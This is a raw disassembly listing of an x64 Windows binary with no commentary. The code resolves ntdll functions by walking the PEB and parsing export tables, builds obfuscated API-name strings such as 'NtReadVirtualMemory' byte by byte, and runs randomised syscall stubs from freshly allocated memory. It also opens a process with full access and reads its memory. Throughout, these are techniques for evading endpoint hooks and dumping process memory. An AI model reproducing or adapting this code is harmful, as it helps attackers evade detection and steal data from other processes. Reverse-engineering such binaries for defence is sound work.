sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x13620]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x2e540], rax
add rdi, r14
cmp rdi, 0x200
jl 0x14001e622
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x2e540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xed8], eax
lea r9, [rbp + 0xed8]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [r14 + 9]
lea r8, [rbp + 0x282e8]
mov rdx, qword [rbp - 0x48]
mov rcx, qword [rbp - 0x40]
call rdi
mov dword [rsp + 0x78], eax
lea r9, [rbp + 0xed8]
mov r8d, dword [rbp + 0xed8]
mov edx, 0x1000
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor edi, edi
mov dword [0x1400dd364], edi
mov eax, dword [rsp + 0x78]
jmp 0x14001d93f
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001e99b
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001e99b
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001e99b
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001e99b
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14001e99b
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x271]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001e7bb
inc rax
test edi, edi
jne 0x14001e7a6
test r8d, r8d
je 0x14001e7ce
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14001e795
jmp 0x14001e99b
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x14001e99b
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x14001e99b
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x68], rax
call fcn.14008ce90
or dword [rbp + 0x15d34], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x149b0]
call fcn.14002ef44
lea rcx, [rbp + 0x149b0]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r14d, [rax + 1]
lea rcx, [rbp + 0x149b0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x2f540], rax
add rdi, r14
cmp rdi, 0x200
jl 0x14001e875
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov rdi, qword [rsp + 0x68]
mov r8d, 0x1000
lea rdx, [rbp + 0x2f540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xecc], eax
lea r9, [rbp + 0xecc]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], eax
mov qword [rsp + 0x28], rax
mov rax, qword [rbp - 0x48]
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x40]
xor r8d, r8d
mov edx, 0x1fffff
lea rcx, [rbp + 0xd70]
call rdi
mov edi, eax
lea r9, [rbp + 0xecc]
mov r8d, dword [rbp + 0xecc]
mov edx, 0x1000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x68]
call fcn.1400b4da0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
test edi, edi
js 0x140025f0a
mov rax, qword [rbp + 0xd70]
mov qword [rbp - 0x38], rax
cmp rax, 0xffffffffffffffff
je 0x140025f0a
mov byte [rbp + 0x6c8], 0x47
mov edi, reloc.WS2_32.dll_setsockopt
mov r9d, edi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6c9], al
mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6ca], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, 0x57
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6cb], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x61
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6cc], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, 0x69
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6cd], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6ce], al
mov r9d, edi
lea r8d, [rdi - 0xf]
mov dl, 0x46
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6cf], al
mov r9d, edi
lea r8d, [rdi - 0xe]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d0], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, WSAStartup
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d1], al
mov r9d, edi
lea r8d, [rdi - 0xc]
mov dl, 0x53
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d2], al
mov r9d, edi
lea r8d, [rdi - 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d3], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, WSAGetLastError
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d4], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x67
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d5], al
mov r9d, edi
lea r8d, [rdi - 8]
mov dl, 0x6c
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d6], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, 0x65
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d7], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WLDAP32.dll_Ordinal_79
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d8], al
mov r9d, edi
mov r8, r12
mov dl, 0x62
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6d9], al
mov r9d, edi
mov r8, rbx
mov dl, 0x6a
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6da], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x65
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6db], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x63
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6dc], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + 0x6dd], al
xor eax, eax
mov byte [rbp + 0x6de], al
mov edi, eax
lea r12d, [rax + 1]
mov r9d, reloc.WS2_32.dll_setsockopt
mov r8, rdi
mov dl, byte [rbp + rdi + 0x6c9]
lea rcx, [rbp + 0x6c8]
call fcn.14002e1e0
mov byte [rbp + rdi + 0x6c9], al
add rdi, r12
cmp rdi, 0x15
jb 0x14001ebfd
xor edi, edi
lea r12d, [rdi + 0x10]
mov byte [rbp + 0x6de], dil
lea eax, [rdi + 3]
mov byte [rbp + 0x190], al
lea ebx, [rdi + 9]
mov r9d, ebx
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x191], al
mov r9d, ebx
lea ebx, [rdi + 1]
mov r8d, ebx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x192], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x193], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x194], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x195], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x196], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x197], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x198], al
lea r9d, [rdi + 9]
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + 0x199], al
xor eax, eax
mov byte [rbp + 0x19a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x191]
lea rcx, [rbp + 0x190]
call fcn.14002e000
mov byte [rbp + rdi + 0x191], al
add rdi, rbx
cmp rdi, 9
jb 0x14001ed45
mov ebx, reloc.WS2_32.dll_recvfrom
xor eax, eax
mov byte [rbp + 0x19a], al
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001ee97
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x14001ee14
lea r14d, [rax + 1]
mov r10d, r14d
mov rsi, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r14d
add rdx, r14
cmp rdx, r8
jl 0x14001edeb
mov r14d, reloc.WLDAP32.dll_Ordinal_32
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x14001ee70
mov rax, rcx
lea r9, [rbp + 0x191]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001ee69
add rax, r11
test edx, edx
jne 0x14001ee54
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
xor eax, eax
test dil, dil
jne 0x14001f368
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp rax, qword [rbp - 0x78]
jne 0x14001eda1
xor eax, eax
mov qword [rbp + 0xf40], rax
mov byte [rbp + 0x4a0], Ordinal_27
mov r9d, reloc.WS2_32.dll_send
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a1], al
mov esi, 1
lea r9d, [rsi + 0x12]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a2], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 1]
mov dl, 0x52
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a3], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 2]
mov dl, 0x65
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a4], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 3]
mov dl, 0x61
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a5], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 4]
mov dl, 0x64
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a6], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 5]
mov dl, 0x56
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a7], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 6]
mov dl, 0x69
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a8], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4a9], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4aa], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 9]
mov dl, 0x75
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4ab], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4ac], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4ad], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 0xc]
mov dl, 0x4d
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4ae], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4af], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 0xe]
mov dl, 0x6d
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4b0], al
lea r9d, [rsi + 0x12]
mov r8, r12
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4b1], al
lea r9d, [rsi + 0x12]
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4b2], al
lea r9d, [rsi + 0x12]
lea r8d, [rsi + 0x11]
mov dl, 0x79
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + 0x4b3], al
xor eax, eax
mov byte [rbp + 0x4b4], al
mov edi, eax
mov r9d, reloc.WS2_32.dll_send
mov r8, rdi
mov dl, byte [rbp + rdi + 0x4a1]
lea rcx, [rbp + 0x4a0]
call fcn.14002e7f4
mov byte [rbp + rdi + 0x4a1], al
add rdi, rsi
cmp rdi, 0x13
jb 0x14001f0c8
mov esi, reloc.WS2_32.dll_sendto
xor edi, edi
mov byte [rbp + 0x4b4], dil
mov byte [rbp + 0x140], 0x50
lea r14d, [rsi - 0xb]
mov r9d, r14d
xor r8d, r8d
mov dl, WSAGetLastError
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x141], al
mov r9d, r14d
lea r14d, [rsi - 0x13]
mov r8d, r14d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x142], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x12]
mov dl, 0x64
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x143], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x11]
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x144], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0x10]
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x145], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xf]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x146], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xe]
mov dl, 0x64
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x147], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xd]
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x148], al
lea r9d, [rsi - 0xb]
lea r8d, [rsi - 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + 0x149], al
xor eax, eax
mov byte [rbp + 0x14a], al
mov r9d, 9
mov r8, rdi
mov dl, byte [rbp + rdi + 0x141]
lea rcx, [rbp + 0x140]
call fcn.14002e000
mov byte [rbp + rdi + 0x141], al
add rdi, r14
cmp rdi, 9
jb 0x14001f211
xor ecx, ecx
lea r14d, [rcx + 0x20]
mov byte [rbp + 0x14a], cl
mov rax, qword gs:[0x60]
test rax, rax
je 0x14001f7f2
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x78], rax
mov qword [rsp + 0x70], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x60], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rsp + 0x78], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x68], ecx
movsxd rcx, eax
inc rcx
call fcn.14008d174
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rsp + 0x78]
test r8d, r8d
jle 0x14001f2e2
lea r12d, [rax + 1]
mov r10d, r12d
mov rsi, qword [rsp + 0x60]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r12d
add rdx, r12
cmp rdx, r8
jl 0x14001f2b6
mov esi, reloc.WS2_32.dll_sendto
lea r12d, [rsi - 4]
mov dword [rsp + 0x68], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x68]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400b4700
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x60], r10
je 0x14001f33e
mov rax, rcx
lea r9, [rbp + 0x141]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x14001f337
add rax, r11
test edx, edx
jne 0x14001f322
test r8d, r8d
cmove edi, r11d
call fcn.14008cef0
test dil, dil
jne 0x14001f5a6
mov rax, qword [rsp + 0x70]
mov rax, qword [rax]
mov qword [rsp + 0x70], rax
cmp rax, qword [rbp - 0x78]
jne 0x14001f26c
jmp 0x14001f7f2
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x14001ee99
mov edx, 0x5a4d
cmp word [rcx], dx
jne 0x14001ee99
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001ee97
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001ee97
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14001ee97
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x6c9]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001f3f9
inc rax
test edi, edi
jne 0x14001f3e4
xor eax, eax
test r8d, r8d
je 0x14001f40e
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x14001f3d3
jmp 0x14001ee99
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
xor eax, eax
add rdx, rcx
je 0x14001ee99
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
mov ecx, 1
cmp eax, ecx
jl 0x14001ee97
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x70], rax
call fcn.14008ce90
or dword [rbp + 0x170c4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x15d40]
call fcn.14002ef44
lea rcx, [rbp + 0x15d40]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea r12d, [rax + 1]
lea rcx, [rbp + 0x15d40]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x30540], rax
add rdi, r12
cmp rdi, 0x200
jl 0x14001f4b7
mov r12d, reloc.WS2_32.dll_recv
mov rdi, qword [rsp + 0x70]
mov r8d, 0x1000
lea rdx, [rbp + 0x30540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xec8], eax
lea r9, [rbp + 0xec8]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x70]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x38]
call rdi
lea r9, [rbp + 0xec8]
mov r8d, dword [rbp + 0xec8]
mov edx, 0x1000
mov rdi, qword [rsp + 0x70]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400b4da0
lea edx, [r12 - 5]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400dd364], eax
jmp 0x14001ee99
mov rcx, qword [rsp + 0x70]
mov rcx, qword [rcx + 0x20]
xor edx, edx
test rcx, rcx
je 0x14001f7f4
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x14001f7f4
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x14001f7f4
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x14001f7f4
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x78], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x14001f7f4
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x4a1]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x14001f639
inc rax
test edi, edi
jne 0x14001f624
mov edi, 1
test r8d, r8d
je 0x14001f653
add rdx, rdi
cmp rdx, qword [rbp - 0x70]
jb 0x14001f613
xor edx, edx
jmp 0x14001f7f9
mov rax, qword [rbp - 0x78]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
xor ecx, ecx
test rdx, rdx
je 0x14001f64c
mov eax, dword [rdx + 4]
mov dword [rsp + 0x78], eax
cmp eax, edi
jl 0x14001f64c
mov edx, 0x1000
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x68], rax
call fcn.14008ce90
or dword [rbp + 0x18454], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x170d0]
call fcn.14002ef44
lea rcx, [rbp + 0x170d0]
call fcn.14002e95c
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x170d0]
call fcn.14002e95c
mov eax, eax
mov qword [rbp + rdi*8 + 0x31540], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x14001f6ef
mov ebx, reloc.WS2_32.dll_recvfrom
mov rdi, qword [rsp + 0x68]
mov r8d, 0x1000
lea rdx, [rbp + 0x31540]
mov rcx, rdi
call fcn.1400b4700
mov eax, dword [rsp + 0x78]
mov dword [0x1400dd364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400dd360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400dd368]
mov word [rdi + 8], ax
mov al, byte [0x1400dd36a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xec4], eax
lea r9, [rbp + 0xec4]
mov r8d, r14d
mov edx, 0x1000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
lea r9d, [rbx - 9]
lea r8, [rbp + 0xf40]
mov rdx, qword [rbp - 0x80]
mov rcx, qword [rbp - 0x40]
call rdi
mov edi, eax
lea r9, [rbp + 0xec4]
mov r8d, dword [rbp + 0xec4]
mov edx, 0x1000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, qword [rsp + 0x68]
call fcn.1400b4da0
lea edx, [rbx - 6]
mov r8d, 0x8000
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor ecx, ecx
mov dword [0x1400dd364], ecx
test edi, edi
js 0x140024820
xor edx, edx
mov edi, 1
mov rcx, qword [rbp + 0xc20]
cmp qword [rcx], rdx
je 0x140022b79
jmp 0x14001f810
mov edi, 1
xor edx, edx
mov r8d, 0x1000
lea rcx, [rbp + 0x28540]
call fcn.1400b4da0
mov byte [rbp + 0x680], Ordinal_41
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x680]
call fcn.14002e778
mov byte [rbp + 0x681], al
mov r9, rsi
mov r8, rdi
